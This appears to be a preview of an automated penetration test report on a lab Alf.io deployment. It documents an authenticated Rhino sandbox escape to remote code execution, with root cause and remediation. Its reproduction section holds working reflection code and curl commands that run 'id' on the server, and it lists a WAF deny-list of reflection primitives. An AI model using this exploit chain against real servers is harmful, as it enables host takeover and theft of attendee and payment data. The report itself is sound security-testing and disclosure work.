

Penetration test assessment report

Alf.io Event Management Platform

Created by NoScope

CLIENT CONFIDENTIAL

Document control

Revision history for this report

Version	Date	Author	Changes
1.0		NoScope	Initial report issued.

Intended parties

Recipients authorised to receive and review this report

Client contact	Client company	Receive date
----------------	----------------	--------------

Table of contents

1	Executive summary	04
1.1	Overview	04
1.2	Purpose of the assessment	04
1.3	Impact summary	04
1.4	Improvement points	05
1.5	Conclusion	05
2	Scope	06
3	Severity definitions	07
4	Findings overview	08
4.1	Vulnerability distribution	08
4.2	Vulnerabilities table	09
4.3	Detailed vulnerability descriptions	10
4.4	Observations	17
5	Appendix A — About NoScope	18
6	Appendix B — Methodology	19
7	Appendix C — Confidentiality statement and disclaimer	20

1. Executive summary

1.1 Overview

NoScope performed an automated penetration test of the Alf.io event management platform. The platform is running version 2.0-M5-2509-1 on Spring Boot / Java with PostgreSQL, and exposes an extension system that executes organiser-supplied JavaScript server-side inside a Mozilla Rhino sandbox. Testing identified a high-severity authenticated Remote Code Execution via a sandbox escape in that extension engine.

1.2 Purpose of the assessment

The assessment was conducted to evaluate the security posture of the Alf.io deployment as part of a TryHackMe simulation exercise. The goal was to identify vulnerabilities that could lead to unauthorized access, data exfiltration, or system compromise.

1.3 Impact summary

An authenticated administrator can escape the Rhino extension sandbox and achieve Remote Code Execution (CVE-2026-35482). The script validator enforces a deny-list, but the execution scope injects an unrestricted `java.lang.Class` object (`returnClass`). Calling `returnClass.forName("java.lang.Runtime")` reaches arbitrary classes via Java reflection, bypassing the validator and the `Java.type()` whitelist, and runs OS commands as the alfio process user (`uid=1000`). From there an attacker can read database credentials and secrets, reach PostgreSQL (attendee PII + payments), and pivot internally.

1.4 Improvement points

Remediation should remove the ``returnClass`` binding from the extension scope and replace the deny-list validator with a real Rhino ClassShutter allow-list, upgrade to the patched release (advisory GHSA-3w8f-mcf6-cm7h), and run the application under a least-privilege service account.

1.5 Conclusion

The identified vulnerability allows an authenticated administrator to fully compromise the host and the attendee/payment data it can reach. Although exploitation requires admin access and is non-trivial, the impact is severe; remediation is strongly recommended before production deployment of this software version.

3. Scope

The following parameters defined the boundaries of this engagement

Assessment type	Web application penetration test	
Perspective	Authenticated (administrator)	
Environment	Lab / simulation	
Start time		
End time		
Duration	60s	
Targets	In scope http://LAB_IP:LAB_PORT	Out of scope Internal network services not accessible via the target host Physical or social engineering attacks Denial of service testing
Credentials	Administrator credentials were provided for the simulation (the extension API is admin-only).	

6. Severity definitions

Vulnerabilities identified in this report are classified according to the following severity levels, based on the potential impact and exploitability of each issue

Critical | CVSS 9.0 – 10.0

Vulnerabilities that allow an attacker to fully compromise the application, gain unauthorized administrative access, or breach security boundaries with minimal complexity. Exploitation requires no specialized conditions and presents an immediate threat. Remediation is required urgently.

High | CVSS 7.0 – 8.9

Vulnerabilities that pose a significant and direct risk of unauthorized data access, privilege escalation, or service disruption. Exploitation is practical under normal conditions and does not require chaining with other vulnerabilities.

Medium | CVSS 4.0 – 6.9

Vulnerabilities that present a moderate risk, typically requiring specific preconditions, configuration states, or chained exploitation to achieve significant impact.

Low | CVSS 0.1 – 3.9

Vulnerabilities with limited direct impact or low likelihood of exploitation. These represent security hardening opportunities.

Info | N/A

Observations that do not represent directly exploitable vulnerabilities but deviate from security best practices.

4. Findings overview

The sections below summarise every validated vulnerability identified during this engagement, ordered by severity. Each entry links to its detailed description with reproduction evidence and remediation guidance

4.1 Vulnerability distribution

Distribution of validated findings by severity level

15 Total validated findings

 **15** Findings **4** Observations

Severity breakdown



 **5** High  **7** Medium  **3** Low

4.2 Vulnerabilities table

The table below lists every confirmed vulnerability identified during the assessment, ordered by severity

#	Finding	Severity (CVSS)	Endpoint
1	Authenticated RCE via Extension Script Sandbox Escape	High 8.0	POST /admin/api/extensions
2			 Locked
3			 Locked
4			 Locked
5			 Locked
6			 Locked
7			 Locked
8			 Locked
9			 Locked
10			 Locked
11			 Locked
12			 Locked
13			 Locked
14			 Locked
15			 Locked

4.3 Detailed vulnerability descriptions

This section provides a detailed description of the primary vulnerability validated during the assessment, including reproduction steps and remediation guidance. Lower-impact issues are listed in the 4.2 table above.

4.3.1 Authenticated RCE via Extension Script Sandbox Escape

CWE-470

A03:2021 — Injection

Likelihood: Medium

Sandbox Escape / Remote Code Execution

Alf.io's extension system lets administrators register JavaScript that the server executes inside a Mozilla Rhino sandbox. Each script is checked against a deny-list validator (it rejects `java.lang.System`, `Object.getClass()`, Java reflection, etc.), so the control looks hardened. However, the execution scope injects an unrestricted `java.lang.Class` object named `returnClass`. Because `Class.forName(String)` is a static, unrestricted method, `returnClass.forName("java.lang.Runtime")` loads any class on the classpath via reflection — fully escaping the sandbox and the `Java.type()` whitelist.

An authenticated administrator can therefore run arbitrary OS commands as the alfio process user (`uid=1000`): executing `id` returned `uid=1000(alfio) gid=1000(alfio) groups=1000(alfio)`. This grants read/write filesystem access, database credentials and secrets, direct reach to PostgreSQL (attendee PII and payment data), and internal pivoting. A separate `Java.type("java.lang.Runtime")` attempt validated but never executed (the Java interop is whitelisted to `alfio.model.CustomerName`) and was correctly demoted as a false positive before the real `returnClass` primitive was confirmed.

Attack type	Sandbox Escape / Remote Code Execution
Severity	High 8.0
CVSS vector	AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Likelihood	Medium
CWE	CWE-470
OWASP Top 10	A03:2021 — Injection
Prerequisites	Authenticated administrator able to create or modify extensions
Status	Open
Endpoint	POST /admin/api/extensions

Impact

An authenticated organiser/admin can achieve full Remote Code Execution on the Alf.io server, allowing them to:

- Execute arbitrary system commands as the alfio process user
- Read and write files on the host filesystem
- Read application secrets and environment variables (DB credentials, payment provider keys, signing secrets)
- Reach the PostgreSQL database directly and exfiltrate attendee PII and payment/financial data
- Pivot to other services on the internal network
- Establish persistence — the extension itself runs on routine ticketing/invoice events (e.g. TICKET_ASSIGNED, INVOICE_GENERATION)

Business impact: exploitation gives an attacker complete control of the Alf.io server and direct reach to the PostgreSQL database — containing attendee personal information, contact details and payment/financial records — plus application secrets (payment provider keys, signing secrets). This is a full data breach affecting every event and attendee on the platform, with GDPR exposure, payment-fraud risk and severe reputational damage. Because the malicious extension fires on routine ticketing/invoice events, the attacker also gains a durable foothold.

Technical analysis

The extension runtime is implemented in `alfio.extension.ScriptingExecutionService`. For every execution a fresh Rhino scope is built (`executeScriptFinally`) and a handful of bindings are injected:

```
scope.put("Java", scope, new JavaClassInterop(Map.of("alfio.model.CustomerName", alfio.model.CustomerName.class), scope));
scope.put("returnClass", scope, clazz);
```

The `Java` binding is deliberately restricted — `JavaClassInterop.type()` only resolves the single whitelisted class `alfio.model.CustomerName` and throws for anything else, so the classic `Java.type('java.lang.Runtime')` interop is blocked. That is why a `Java.type` payload appears to pass and run without error yet never reaches Runtime — a FALSE POSITIVE with no real command execution.

The binding directly below it is the real problem: `returnClass` is mapped to `clazz`, the `Class<T>` the engine uses to deserialise the script's return value. It is a fully functional `java.lang.Class` object reachable from script scope, and reflection from it is trivial:

```
var rtClass = returnClass.forName('java.lang.Runtime');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', returnClass.forName('java.lang.String')).invoke(runtime, 'id');
```

The validation layer (`alfio.extension.ScriptValidation` + `JSNodeVisitor`) is a Rhino AST walk that pattern-matches a fixed blacklist; it never models the `returnClass` interop, so `returnClass.forName(...)` sails through. Root cause: a permissive Rhino scope (an exposed `Class<T>` binding) combined with deny-list validation instead of a real sandbox (e.g. a Rhino `ClassShutter` allow-list).

Attack path

1

Entry

Build an understanding of the application

```
http://LAB_IP:LAB_PORT/
```

Impact: Identified Alf.io 2.0-M5-2509-1 (Spring Boot / Java) with a server-side extension system

What happens: Non-technical recon first — reads the home page and headers — then maps the admin API and flags the extension system as a high-risk, server-side code-execution surface.

Technique: Reconnaissance & surface mapping

2

Process

Authenticate as administrator

```
http://LAB_IP:LAB_PORT/authenticate
```

Impact: Valid admin session (ALFIO_SESSION + XSRF-TOKEN)

What happens: Logs in with the provided admin credentials and obtains a CSRF token, unlocking the admin extension API.

Technique: Authenticated access

3

Process

Learn the extension contract and probe the obvious RCE

```
GET /admin/api/extensions/sample, POST /admin/api/extensions
```

Impact: java.lang.Runtime payload rejected by the validator

What happens: Reads the sample extension, then submits a script calling java.lang.Runtime; validation rejects it (System / getClass / reflection blocked) — proving a sandbox exists.

Technique: Input contract discovery

4

Process

Bypass the validator with the Java.type interop

```
POST /admin/api/extensions
```

Impact: Script passes validation and executes — apparent escape (later proven a FALSE POSITIVE)

What happens: Pivots to `Java.type('java.lang.Runtime')`; the string-pattern validator doesn't detect the interop so the script saves and runs with no error. Provisionally raised as High.

Technique: Validation bypass via engine interop

5

Exploit

Verify against source and find the real primitive

```
alfio.extension.ScriptingExecutionService
```

Impact: `Java.type` is whitelisted to one class (no `Runtime`) — but `returnClass` is an unrestricted `Class<T>`

What happens: Source review shows the Java interop only resolves `alfio.model.CustomerName` (so the `Java.type` result never reached `Runtime` — false positive), while the same scope exposes `returnClass` mapped to a live `java.lang.Class`.

Technique: Source-driven validation

Root cause: Permissive Rhino scope exposes a `Class<T>` (`returnClass`); deny-list validation never models the interop.

6

Impact

Achieve Remote Code Execution via `returnClass.forName`

```
Server OS (process executed by alfio)
```

Impact: Arbitrary command execution confirmed: ``id`` returned `uid=1000(alfio) gid=1000(alfio) groups=1000(alfio)`

What happens: Submits an extension that calls `returnClass.forName('java.lang.Runtime')`, invokes `getRuntime().exec('id')` via reflection, reads stdout and logs it. The output appears in the extension log, confirming genuine RCE.

Technique: Unsafe reflection → OS command execution

Reproduction & evidence

Each step shows the action taken, the exact command issued, and the relevant response signal that confirmed the vulnerability.

noscope@agent :~/sandbox-escape-remote-code-execution \$ step 1

Authenticate to the admin panel to obtain a session and CSRF token. The extension management API is admin-only.

```
$ curl -sk -c cookies.txt http://LAB_IP:LAB_PORT/admin/ -o /dev/null
XSRF=$(grep XSRF-TOKEN cookies.txt | awk '{print $7}')
curl -sk -b cookies.txt -c cookies.txt -X POST http://LAB_IP:LAB_PORT/authenticate \
-H "X-XSRF-TOKEN: $XSRF" --data-urlencode username=admin --data-urlencode password=admin
```

HTTP/1.1 302 Found (Location: /admin) - authenticated, ALFIO_SESSION set

noscope@agent :~/sandbox-escape-remote-code-execution \$ step 2

First, the obvious payload: call `java.lang.Runtime` directly. The validator rejects it, proving a deny-list sandbox is enforced.

```
$ POST /admin/api/extensions (executeScript: java.lang.Runtime.getRuntime().exec('id'))
```

```
{"first":false,"second":"Script not valid. One or more of the following components have been
detected:\n- Access to java.lang.System\n- Access to Object.getClass()\n- Java reflection usage"}
```

noscope@agent :~/sandbox-escape-remote-code-execution \$ step 3

The real primitive: `returnClass` is a live `java.lang.Class`. `returnClass.forName('java.lang.Runtime')` loads `Runtime` by name and reflection does the rest. The script passes validation and is saved.

```
$ curl -sk -b cookies.txt -X POST http://LAB_IP:LAB_PORT/admin/api/extensions \
-H "X-XSRF-TOKEN: $XSRF" -H 'Content-Type: application/json' \
-d '{"path":"-", "name":"rcevalidate", "enabled":true,

"script":"...returnClass.forName('java.lang.Runtime').getMethod('exec',...).invoke(rt,'id')..."}'
```

```
{"first":true,"second":null} - extension saved, validation passed
```

noscope@agent :~/sandbox-escape-remote-code-execution \$ step 4

Trigger the extension and read the execution log. The `id` command ran on the server as the application user - Remote Code Execution confirmed.

```
$ curl -sk -b cookies.txt http://LAB_IP:LAB_PORT/admin/api/extensions/log
```

```
uid=1000(alfio) gid=1000(alfio) groups=1000(alfio)
```

Short-term mitigation

Immediately restrict access to the extension system: remove the `returnClass` binding from the Rhino scope in `ScriptingExecutionService` (organiser scripts do not need it), and/or disable the ability to create or update extensions (`POST /admin/api/extensions`) until patched. As a compensating control, add a WAF/proxy rule that rejects extension payloads containing reflection primitives such as `forName()`, `getMethod()`, `invoke()` or class names like `java.lang.Runtime` / `java.lang.ProcessBuilder`.

Long-term fix

1. Upgrade to the patched Alf.io version that removes/locks down the `returnClass` binding (advisory GHSA-3w8f-mcf6-cm7h).
2. Stop relying on AST/string blocklists for sandboxing. Configure the Rhino Context with a `ClassShutter` (`Context.setClassShutter`) that denies every class by default and allows only a vetted allow-list; expose Java solely through the narrow, audited `JavaClassInterop` facade.
3. Never place a live `java.lang.Class` (or any object exposing `forName/getMethod/invoke`) in script scope.
4. Run extensions under a `SecurityManager` / OS-level sandbox (`seccomp`, restricted user, read-only FS) so even a Rhino escape cannot exec processes or read secrets.
5. Add regression tests asserting that reflection and `Runtime/ProcessBuilder` access from an extension are rejected, including the `returnClass.forName` bypass.

References

- <https://www.cve.org/CVERecord?id=CVE-2026-35482>
- <https://github.com/alfio-event/alf.io/security/advisories/GHSA-3w8f-mcf6-cm7h>
- <https://github.com/mozilla/rhino>
- <https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#forName-java.lang.String->
- <https://cwe.mitre.org/data/definitions/470.html>
- <https://cwe.mitre.org/data/definitions/95.html>

4.4 Observations

Additional lower-impact observations and security-hardening notes were recorded during the assessment. They are locked in this preview — unlock the full report to review each one.

4.4.1

 Locked

4.4.2

 Locked

4.4.3

 Locked

4.4.4

 Locked

5. Appendix A — About NoScope

NoScope performed an automated offensive security assessment of the Alf.io event management platform deployed at the target host. Testing focused on the administrative interface and API endpoints, with particular attention to the extension scripting system, which executes organiser-supplied JavaScript server-side via the Mozilla Rhino engine.

The finding below was validated through proof-of-concept exploitation against the live target before publication. It includes a severity rating, CVSS vector, reproduction evidence, and remediation guidance.

6. Appendix B — Methodology

The assessment followed a structured methodology covering reconnaissance, vulnerability discovery, exploitation, and reporting.

All findings included in this report are validated through executed proof-of-concept payloads; vulnerabilities that cannot be reliably reproduced are excluded.

1. Reconnaissance & surface mapping

Headless-browser crawling, JavaScript bundle analysis, fuzz-driven endpoint discovery, and parsing of any available API specs to build a working map of routes, parameters, and trust boundaries.

2. Authentication & session management

Evaluation of login, registration, and OAuth flows, session token lifecycle and rotation, logout behavior, cookie security attributes, and resistance to credential-based and fixation attacks.

3. Authorization & access control

IDOR and BOLA probing across object identifiers, horizontal and vertical privilege escalation checks, and verification of tenant isolation on every authenticated endpoint reached during recon.

4. Injection & server-side flaws

Targeted payloads for SQL, command, template, and XML injection, SSRF and XXE on request-driven sinks, server-side request forgery against internal metadata endpoints, and unsafe deserialization where reachable.

5. Client-side & file handling

Reflected, stored, and DOM-based XSS across user-controlled sinks, CSP and framing controls, prompt injection on AI features, and content-type or magic-byte validation on upload paths.

6. Business logic & race conditions

Workflow abuse cases such as state manipulation, replay, and rate-limit bypass; race conditions on critical state changes; and rule violations specific to the application's intended use.

7. Appendix C — Confidentiality statement and disclaimer

This report is provided on a confidential basis and is intended solely for the use of the party to whom it is addressed. The findings reflect the security posture of the in-scope targets at the time of testing. NoScope makes no warranty regarding completeness beyond the stated scope.